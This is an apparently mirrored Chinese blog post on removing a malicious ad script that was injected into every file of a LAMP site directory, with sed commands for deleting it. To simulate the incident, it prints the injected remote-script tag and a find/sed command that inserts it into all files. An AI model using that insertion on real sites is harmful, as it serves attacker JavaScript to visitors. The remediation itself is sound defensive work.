码迷,mamicode.com
首页 > 其他好文 > 详细

lamp服务器站点目录被植入广告代码

时间:2018-05-27 13:36:36      阅读:157      评论:0      收藏:0      [点我收藏+]

标签:植入代码广告删除替换

title: lamp服务器站点目录被植入广告代码
tags: 植入代码广告,删除,替换
grammar_cjkRuby: true

[TOC]

lamp服务器站点目录被植入广告代码

1 产生背景

由于公司运维人员在系统上的权限体现分配不合理,导致站点目录被上传木马,把站点目录下所有文件均植入了如下广告<script language=javascript src=http://%4%66E/x.js?google_ad=93></script>;
包括图片目录也被植入,网站打开都会调用这个地址,显示出一个广告,产生恶劣的影响。

2 解决思路

因为站点目录下所有文件都被植入了<script language=javascript src=http://%4%66E/x.js?google_ad=93></script>这条代码,导致打开任何页面都会调用这个地址,因此需要在每个文件把该代码删除

3 从发现问题到解决的过程

3.1 运维人员,网站用户发现问题,网站有弹窗广告。
3.2 运营人员报给开发,开发工程师和运维工程师共同解决。
3.3 开发工程师发现问题,所有站点目录被植入了一段JS代码。
3.4 运维工程师解决问题:
3.4.1 备份原始出问题的所有文件
3.4.2 使用find +sed替换内容
3.4.3 确认网站运行正常,且无上述弹窗广告
3.4.5 详细查看日志,寻找问题来源
3.4.6 提供改进方案,杜绝这种事情再次发生

4 处理过程

4.1 通过和该公司运维人员确认确实出现了问题,详细查看确认问题情况,发现是站点目录下所有文件的开头都被植入了恶意代码。
4.2 制定处理方案,先备份已有数据,执行命令批量修改回来。
4.3 写解决说明,发送给运维工程师。
4.4 询问处理结果,详细查看日志,寻求问题来源
4.5 提供站点严格权限规划方案,及新上线发布规范的思路

5 处理步骤

5.1 因此先模拟出问题来源,如下

[root@server ~]# mkdir /www
[root@server ~]# cd /www
[root@server www]# touch file{1..100}
[root@server www]# for n in `ls`;do echo "hello world" >>$n;done      
[root@server www]# for n in `ls`;do cat $n;done |wc -l
100
[root@server www]# find ./ -type f |xargs sed -i ‘1 i <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>‘
[root@server www]# find ./ -type f |xargs cat
<script language=javascript src=http://%4%66E/x.js?google_ad=93></script>
hello world
<script language=javascript src=http://%4%66E/x.js?google_ad=93></script>
hello world
<script language=javascript src=http://%4%66E/x.js?google_ad=93></script>
[root@server www]# cp -a /www /mnt/

5.2 利用sed命令将代码片段匹配删除或者替换,如:

删除
[root@server www]# find ./ -type f |xargs sed -i ‘/^.* src=.*pt>$/d‘   
[root@server www]# find ./ -type f |xargs cat
hello world
hello world
hello world
hello world
hello world

替换
[root@server www]# find ./ -type f |xargs sed -i ‘1 i <script language=javascript src=http://%4%66E/x.js?google_ad=93></script>‘
[root@server www]# 
[root@server www]# 
[root@server www]# find ./ -type f |xargs sed -i ‘s#^.* src=.*pt>$##g‘
[root@server www]# find ./ -type f |xargs cat

hello world

hello world

hello world
因为把恶意代码替换为空了,所以每个文件开头都出现了空白行,如果介意的话可以批量删除,如下:
[root@server www]# find ./ -type f |xargs sed -i ‘/^$/d‘
[root@server www]# find ./ -type f |xargs cat
hello world
hello world
hello world

lamp服务器站点目录被植入广告代码

标签:植入代码广告删除替换

原文地址:http://blog.51cto.com/ouyangtao/2120739

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!